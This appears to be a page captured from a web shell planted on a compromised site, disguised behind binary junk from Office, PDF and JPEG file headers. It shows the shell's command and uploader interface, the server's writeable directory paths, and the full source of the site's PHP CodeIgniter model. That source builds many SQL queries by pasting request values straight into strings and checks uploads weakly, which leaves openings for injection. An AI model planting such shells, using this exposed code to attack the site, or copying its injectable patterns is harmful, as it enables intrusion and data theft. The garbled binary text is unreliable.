œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /var/www/vhosts/omkar.com/httpdocs/application/models/ui/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/vhosts/omkar.com/httpdocs/application/models/ui/Ui_model_22_march_2019.php
<?php

class Ui_model extends CI_Model {

	public function __construct() {
        parent::__construct();
    }

    public function check_cplist($email,$project_name){
    	 $res = $this->db->get_where("tbl_cplist",array("email_id" => $email))->row_array();	
    	 return $res;

    }

     public function iframe_for_plans($floor_plan_id){

        $this->db->where('id', $floor_plan_id);
        $query = $this->db->get('projects_floor_plan')->row_array();
        return $query;
    }



    public function fetch_blogs(){
        $this->blogs_db = $this->load->database('blogs', true);
        //echo $this->blogs_db;exit;
        $qry = "SELECT node_field_data.nid, node_field_data.title, body.body_value, body.body_summary, FROM_UNIXTIME(node_field_data.created) AS Created/*, file_managed.filename AS image*/
                FROM node_field_data 
                INNER JOIN node_revision__body AS body 
                ON node_field_data.nid = body.entity_id 
                /*INNER JOIN file_usage 
                ON file_usage.id = node_field_data.nid */
               /* INNER JOIN file_managed 
                ON file_usage.fid = file_managed.fid*/
                WHERE node_field_data.type = 'blog_post'
                order by node_field_data.created desc
                LIMIT 0,3";
        $data = $this->blogs_db->query($qry)->result_array();
         //print_r($data);exit;
        foreach ($data as $key => $value) {
            $query = "SELECT file_managed.uri AS image 
                    FROM file_usage
                    LEFT JOIN file_managed
                    ON file_usage.fid = file_managed.fid
                    WHERE file_usage.id = '".$value['nid']."'";
            $data[$key]['images'] = $this->blogs_db->query($query)->result_array();
        }
        return $data;
    }
	/*changes*/
	public function get_projects_list($project_type, $project_status){
    	$q1 = "select p.url,p.id, p.small_image, p.name, p.location, p.project_type, p.sub_title, g.image from projects p inner join projects_gallery g on p.id = g.project_id where p.status='1' and p.project_type='".$project_type."' and p.project_status='".$project_status."' and g.category = 'Project listing' order by p.sequence_no asc";
		//echo $q1;exit;
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
    }
	/*changes*/
	public function page_info($id){
		$this->db->where('id', $id);
    	$query = $this->db->get('pages')->row();
		return $query;
    }
	
	public function project_info($id){
		$q1 = "select * from projects where id='".$id."' ";
		$rz1 = $this->db->query($q1)->row();
		return $rz1;
	}

	public function save_whatsapp_enquiry($data){
    	$query = $this->db->insert('whatsapp_enquiries', $data);
    	$insert_id = $this->db->insert_id();
    	return $insert_id;
    }

	public function save_nri_details($data){
    	$query = $this->db->insert('nri_enquiries', $data);
    	$insert_id = $this->db->insert_id();
    	return $insert_id;
    }
	
	public function schedule_visit($data){
    	$query = $this->db->insert('schedule_visit', $data);
    	$insert_id = $this->db->insert_id();
    	return $insert_id;
    }

    public function save_partner_us($data){
    	$query = $this->db->insert('partner_with_us', $data);
    	$insert_id = $this->db->insert_id();
    	$extension = explode('/', $_FILES["document_file"]["type"]);

    	if(isset($insert_id)){
			$newfilename = '';
			$allowedExts = array("gif", "jpeg", "jpg", "png","pdf","doc","docx");

				if (($_FILES["document_file"]["size"] < 2000000) && in_array($extension['1'], $allowedExts)) 
				{
					$path = $_SERVER['DOCUMENT_ROOT'].FOLDER_NAME."uploads/partner_us/";	
					$newfilename = time().rand().".".$extension['1'];
					if(move_uploaded_file($_FILES["document_file"]["tmp_name"], $path.$newfilename)){
						$data_image = array('attachment_file'=>$newfilename);
						$this->db->where('id', $insert_id);
						$query = $this->db->update('partner_with_us', $data_image);
					}					
					
				}else{
					echo "some error occured";
				}
		}
    	return $insert_id;
    }

    public function current_openings_list(){
    	$this->db->order_by("id", "desc");
    	$this->db->where('status', '1');
    	$query = $this->db->get('jobs')->result_array();
		return $query;
    }

    public function current_openings_description($id){
    	$this->db->where('id', $id);
    	$query = $this->db->get('jobs')->row_array();
		return $query;
    }

	public function get_location($project_type){
    	$q1 = "select DISTINCT c.location from projects p, projects_contacts c where p.id=c.project_id and p.project_type='".$project_type."' and p.status='1' ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
    }
	
	public function get_projects($project_type, $location){
    	$q2 = "select p.id, p.name from projects p, projects_contacts c where p.id=c.project_id and p.project_type='".$project_type."' and c.location='".$location."' and p.status='1' ";
		$rz2 = $this->db->query($q2)->result_array();
		return $rz2;
    }

	public function save_job_application($data, $files){
    	$query = $this->db->insert('job_applications', $data);
    	$insert_id = $this->db->insert_id();

    	if(isset($insert_id)){
			$newfilename = '';
			$allowedExts = array("doc","docx");
   				$extension = explode('.', $_FILES["candidate_resume"]["name"]);

				if (($_FILES["candidate_resume"]["size"] < 2000000) && in_array($extension['1'], $allowedExts)) 
				{
					$path = $_SERVER['DOCUMENT_ROOT'].FOLDER_NAME."uploads/resume/";	
					$newfilename = time().rand().".".$extension['1'];
					if(move_uploaded_file($_FILES["candidate_resume"]["tmp_name"], $path.$newfilename)){
						$data_image = array('resume'=>$newfilename);
						$this->db->where('id', $insert_id);
						$query = $this->db->update('job_applications', $data_image);
					}					
					
				}else{
					echo "some error occured";
				}
		}
    	return $insert_id;
    }

    public function home_page_projects(){
    	$q1 = "select p.url,p.id, p.small_image, p.name, p.location, p.project_type, p.sub_title, g.image from projects p inner join projects_gallery g on p.id = g.project_id where p.status='1' and p.project_status='ongoing_project' and g.category = 'Project listing' order by p.sequence_no asc";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
    }

    public function ongoing_projects_list(){
    	$q1 = "select p.url,p.id, p.small_image, p.name, p.location, p.project_type, p.sub_title, g.image from projects p inner join projects_gallery g on p.id = g.project_id where p.status='1' and p.project_status='ongoing_project' and g.category = 'Project listing' order by p.name";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
    }

    public function completed_projects_list(){
    	$q1 = "select p.url,p.id, p.small_image, p.name, p.location, p.project_type, p.sub_title, g.image from projects p inner join projects_gallery g on p.id = g.project_id where p.status='1' and p.project_status='completed_project' and g.category = 'Project listing' order by p.name";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
    }
    //
    public function banner_info($id){
		$q1 = "select * from projects_banners where project_id='".$id."' and status='1' ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function description_info($id){
		$q1 = "select * from projects_description where project_id='".$id."' ";
		$rz1 = $this->db->query($q1)->row_array();
		return $rz1;
	}

	public function brochure_info($id){
		$q1 = "select * from projects_brochures where project_id='".$id."' ";
		$rz1 = $this->db->query($q1)->row_array();
		return $rz1;
	}

	public function gallery_info($id){
		$q1 = "select * from projects_gallery where project_id='".$id."' and category='Project details page' ";
		$rz1 = $this->db->query($q1)->row_array();
		return $rz1;
	}

	public function amenity_info($id){
		$q1 = "select * from project_amenities where project_id='".$id."' and status='1' ORDER BY id desc";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
		/*if(!empty($rz1)){
			//echo $rz1['amenites'];exit;
			//$ids = explode(",", $rz1['amenites']);
			//$i = 0;
			//foreach($ids as $id){
				$q2 = "select name, description, image from amenities where id IN(".$rz1['amenites'].") and status='1' ";
				$rz2 = $this->db->query($q2)->result_array();
				return $rz2;
			//}
		}*/
	}

	public function key_description($id){
		$q1 = "select * from project_key_amenities_desc where project_id='".$id."' ";
		$rz1 = $this->db->query($q1)->row_array();
		return $rz1;
	}

	public function video_info($id){
		$q1 = "select * from projects_video where project_id='".$id."' ";
		$rz1 = $this->db->query($q1)->row_array();
		return $rz1;
	}

	public function specification_info($id){
		$q1 = "select * from projects_specification where project_id='".$id."' ";
		$rz1 = $this->db->query($q1)->row_array();
		return $rz1;
	}

	public function locations_adv($id){
		$q1 = "select * from projects_location_advantages where project_id='".$id."' and status='1' ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function construction_updates($id){
		$q1 = "select * from projects_construction_updates where project_id='".$id."' and status='1' ORDER BY created_date desc ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function invest($id){
		$q1 = "select * from projects_investment where project_id='".$id."' and status='1' ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function location_info($id){
		$q1 = "select * from projects_contacts where project_id='".$id."' ";
		$rz1 = $this->db->query($q1)->row_array();
		return $rz1;
	}

	public function project_related_news($id){
		$q1 = "select * from news where project_id='".$id."' order by news_date desc";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function project_enquiry($data){
		$query = $this->db->insert('project_contact_enquiry', $data);
    	$insert_id = $this->db->insert_id();
    	return $insert_id;
	}

	public function fetch_news_details(){
		$this->db->order_by("news_date", "desc");
		return $this->db->get_where("news",array("is_active" => '1'))->result_array();
	}

	public function news_range(){
		$q1 = "SELECT YEAR(`news_date`) min_year FROM  `news` ORDER BY `news_date` ASC LIMIT 1";
		$rz1 = $this->db->query($q1)->row_array();
		$q2 = "SELECT YEAR(`news_date`) max_year FROM  `news` ORDER BY `news_date` DESC LIMIT 1";
		$rz2 = $this->db->query($q2)->row_array();
		$range = range($rz1['min_year'], $rz2['max_year']);
		return $range;
	}

	public function filter_news($year){
		$q1 = "SELECT * FROM  `news` WHERE is_active='1' AND YEAR(news_date) = '$year' ORDER BY `news_date` DESC ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function fetch_press_release_details(){
		$this->db->order_by("press_date", "desc");
		return $this->db->get_where("press_release",array("is_active" => '1'))->result_array();
	}

	public function press_range(){
		$q1 = "SELECT YEAR(`press_date`) min_year FROM  `press_release` ORDER BY `press_date` ASC LIMIT 1";
		$rz1 = $this->db->query($q1)->row_array();
		$q2 = "SELECT YEAR(`press_date`) max_year FROM  `press_release` ORDER BY `press_date` DESC LIMIT 1";
		$rz2 = $this->db->query($q2)->row_array();
		$range = range($rz1['min_year'], $rz2['max_year']);
		return $range;
	}
	
	public function filter_press($year){
		$q1 = "SELECT * FROM  `press_release` WHERE is_active='1' AND YEAR(press_date) = '$year' ORDER BY `press_date` DESC ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function fetch_video_gallery_details(){
		$this->db->order_by("media_date", "desc");
		return $this->db->get_where("video_gallery",array("is_active" => '1'))->result_array();
	}

	public function fetch_newsletter_details(){
		// $this->db->order_by("created_date", "desc");
		// return $this->db->get_where("newsletters",array("status" => 1))->result_array();
		$q1 = "SELECT * FROM  `newsletters` WHERE status='1' ORDER BY `created_date` DESC ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function newsletter_range(){
		$q1 = "SELECT YEAR(`created_date`) min_year FROM  `newsletters` ORDER BY `created_date` ASC LIMIT 1";
		$rz1 = $this->db->query($q1)->row_array();
		$q2 = "SELECT YEAR(`created_date`) max_year FROM  `newsletters` ORDER BY `created_date` DESC LIMIT 1";
		$rz2 = $this->db->query($q2)->row_array();
		$range = range($rz1['min_year'], $rz2['max_year']);
		return $range;
	}

	public function filter_newsletter($year){
		$q1 = "SELECT * FROM  `newsletters` WHERE status='1' AND YEAR(created_date) = '$year' ORDER BY `created_date` DESC ";
		$rz1 = $this->db->query($q1)->result_array();
		return $rz1;
	}

	public function fetch_media_kit_details(){
		return $this->db->get("media_kit")->result_array();
	}

	public function fetch_awards_details(){
		$this->db->order_by("rank_order", "asc");
		return $this->db->get_where("awards",array("status" => '1'))->result_array();
	}

	public function fetch_corporate_magazine_details(){
		$this->db->order_by("id", "desc");
		return $this->db->get_where("corporate_magazine",array("is_active" => '1'))->result_array();
	}

	public function home_page_news(){
		$this->db->order_by("news_date", "desc");
		$this->db->limit('4');
		return $this->db->get_where("news",array("is_active" => '1'))->result_array();
	}

	public function get_location_on_property_type($property_type){
		$this->db->distinct();
		$this->db->select('location');
		//$this->db->group_by('location'); 
    	$this->db->order_by('id','desc');
    	$this->db->where(array('project_type'=>$property_type,'project_status'=>'ongoing_project'));
    	$result= $this->db->get('projects')->result_array();	
    	return $result;

    }

    public function get_property_on_property_location($property_loc){
    	$this->db->order_by('id','desc');
    	$this->db->where('location',$property_loc);
    	$result= $this->db->get('projects')->result_array();	
    	return $result;

    }

    public function home_page_banners(){
    	$this->db->select('home_page_banners.*,projects.name as project_name,projects.logo_image');
		$this->db->from('home_page_banners');
		$this->db->join('projects', 'home_page_banners.project_id = projects.id', 'inner'); 
		$this->db->where('home_page_banners.status','1');
		$query = $this->db->get();
		return $query->result_array();

    }

    public function contact_enquiry($data){
		$query = $this->db->insert('contact_enquiries', $data);
    	$insert_id = $this->db->insert_id();
    	return $insert_id;
	}

	public function vendor_enquiry($data){
		$query = $this->db->insert('vendor_enquiries', $data);
    	$insert_id = $this->db->insert_id();
    	return $insert_id;
	}

	public function event_gallery(){
		$q1 = "select g.*,c.name event_name from event_gallery g inner join event_category c on g.category_id=c.id order by g.id desc";
    	$query = $this->db->query($q1)->result_array();
		return $query;
	}

	public function fetch_event_gallery($page_name){
		$q1 = "select g.*,c.name event_name 
			   from event_gallery g 
			   inner join event_category c 
			   on g.category_id=c.id 
			   where c.page_name = '".$page_name."'
			   order by g.id desc";
    	$query = $this->db->query($q1)->result_array();
		return $query;
	}

	public function testimonials_list($category){
		$q1 = "select * from testimonials where status='1' and page_name='$category' order by id desc";
    	$query = $this->db->query($q1)->result_array();
		return $query;
	}

	public function mbassy_project_list(){
		$q1 = "select * from projects where status='1' order by name ";
    	$query = $this->db->query($q1)->result_array();
		return $query;
	}

	public function save_channel_partner_data($data,$files){
		$query = $this->db->insert('channel-partner', $data);
    	$insert_id = $this->db->insert_id();
    	//return $insert_id;

    	if(isset($insert_id) && !empty($_FILES["pan_card"]["name"])){
			$newfilename = '';
			$allowedExts = array("jpg","jpeg","png");
   				$extension = explode('.', $_FILES["pan_card"]["name"]);
   				$newfilename = time().rand().".".$extension['1'];
				$temp_name = $_FILES['pan_card']['tmp_name'];

   				$check_mime = $this->check_image_mime($temp_name);
				if (($_FILES["pan_card"]["size"] < 2000000) && in_array($extension['1'], $allowedExts) && $check_mime) 
				{
					$path = $_SERVER['DOCUMENT_ROOT'].FOLDER_NAME."uploads/pan_card/";	
					
					if(move_uploaded_file($_FILES["pan_card"]["tmp_name"], $path.$newfilename)){
						$data_image = array('pan_card_file'=>$newfilename);
						$this->db->where('id', $insert_id);
						$query = $this->db->update('channel-partner', $data_image);
					}					
					
				}else{
					echo "some error occured";
				}
		}

		if(isset($insert_id) && !empty($_FILES["adhar_card"]["name"])){

				$newfilename = '';
				$allowedExts = array("jpg","jpeg","png");
				$temp_name1 = $_FILES['adhar_card']['tmp_name'];

   				$extension = explode('.', $_FILES["adhar_card"]["name"]);
   				$newfilename = time().rand().".".$extension['1'];
				$check_mime1 = $this->check_image_mime($temp_name1);

				if (($_FILES["adhar_card"]["size"] < 2000000) && in_array($extension['1'], $allowedExts) && $check_mime1) 
				{
					$path = $_SERVER['DOCUMENT_ROOT'].FOLDER_NAME."uploads/adhar_card/";	
					
					if(move_uploaded_file($_FILES["adhar_card"]["tmp_name"], $path.$newfilename)){
						$data_image = array('adhar_card_file'=>$newfilename);
						$this->db->where('id', $insert_id);
						$query = $this->db->update('channel-partner', $data_image);
					}					
					
				}else{
					echo "some error occured";
				}
		}
    	return $insert_id;
	}


	//added new fn by tushar on 01 sep 2017
    public function save_upcoming_project_form($data){
		$query = $this->db->insert('saved_upcoming_project_form', $data);
    	$insert_id = $this->db->insert_id();
    	return $insert_id;
	}



	public function mbassy_enquiry($data){
		$query = $this->db->insert('mbassy_enquiry', $data);
    	$insert_id = $this->db->insert_id();
    	return $insert_id;
	}

	public function check_image_mime($temp_name){	
			
		$finfo = finfo_open(FILEINFO_MIME_TYPE);
		$type = finfo_file($finfo, $temp_name);
		//echo $type;exit;
		if ($type == 'image/png' || $type == 'image/jpeg' || $type == 'image/jpg' || $type == 'image/gif') {
			finfo_close($finfo);
			return TRUE;
		}else{
			finfo_close($finfo);
			return false;
		}
	}

	public function fetch_plans($id, $plan_type){
		return $this->db->get_where("projects_floor_plan", array("project_id" => $id, "plan_type" => $plan_type))->result_array();
	}

	public function fetch_project_gallary_images($project_id){
		return $this->db->get_where("projects_gallery", array("project_id" => $project_id, "category" => 'Project Gallary'))->result_array();
		
	}

	public function fetch_project_walkthrough($project_id){
		return $this->db->get_where("projects_video", array("project_id" => $project_id))->result_array();
		
	}

	public function fetch_project_partner($project_id){
		return $this->db->get_where("projects_partners", array("project_id" => $project_id))->result_array();
		
	}
}
?>

........